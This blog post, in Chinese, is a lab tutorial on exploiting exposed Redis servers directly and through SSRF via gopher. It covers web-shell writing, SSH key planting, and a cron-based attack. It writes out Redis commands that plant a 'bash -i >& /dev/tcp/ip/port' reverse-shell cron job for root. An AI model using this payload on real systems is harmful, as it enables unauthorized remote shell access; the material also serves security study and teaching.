ssrf中redis的利用

关于环境:

喜欢phpstudy的方便,在manjaro里用virtualbox安装了win7,发现vbox的端口映射很方便,所以就没有用docker。

端口映射:

10080->80,16379->6379

web目录:C:\phpStudy\PHPTutorial\WWW

redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,可以配置外网访问,默认端口6379

Redis采用RESP协议,可以翻阅官方文档了解:Redis Protocol specification

只需要知道:

For Simple Strings the first byte of the reply is “+”
For Errors the first byte of the reply is “-“
For Integers the first byte of the reply is “:”
For Bulk Strings the first byte of the reply is “$”
For Arrays the first byte of the reply is “*”

在进一步实验之前,需要打开配置文件将bind 127.0.0.1注释掉,并将protected-mode设置为no,以达到外网无授权访问的目的。配置的详细解释在配置文件中的注释写的很清楚

未授权访问下的攻击

RESP协议可以用redis-cli连接,也可以通过telnet连接,通过telnet可以很清楚的理解RESP协议:

可以看到*2代表返回了一个大小为2的数组,接着$3和$39代表大小分别为3和39的字符串

Redis可以未授权访问时,我们有三种攻击方法:

web目录写shell


可以看到成功写入目标机

写入ssh公钥

操作同上,只不过写入目标要变成:~/.ssh/authorized_keys,且密钥前要加入几个\r,如果不存在,则可以利用crontab创建该目录

定时任务反弹shell

crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表。

时程表格式:

f1 f2 f3 f4 f5 program

其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错,另一方面,redis写入的权限是644,而在ubuntu下的定时任务必须权限为600才可以执行,所以在ubuntu上写定时任务应该是不可行的

由于系统的不同,crontrab定时文件位置也会不同

Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

flushall
set 1 ‘\n\n* * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n’
config set dir /var/spool/cron/
config set dbfilename root
save\

SSRF下的利用

老生常谈,构造gopher协议即可,与上面未授权没差别。

Author: 12end
Link: 12end.xyz/2019/07/15/redis/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.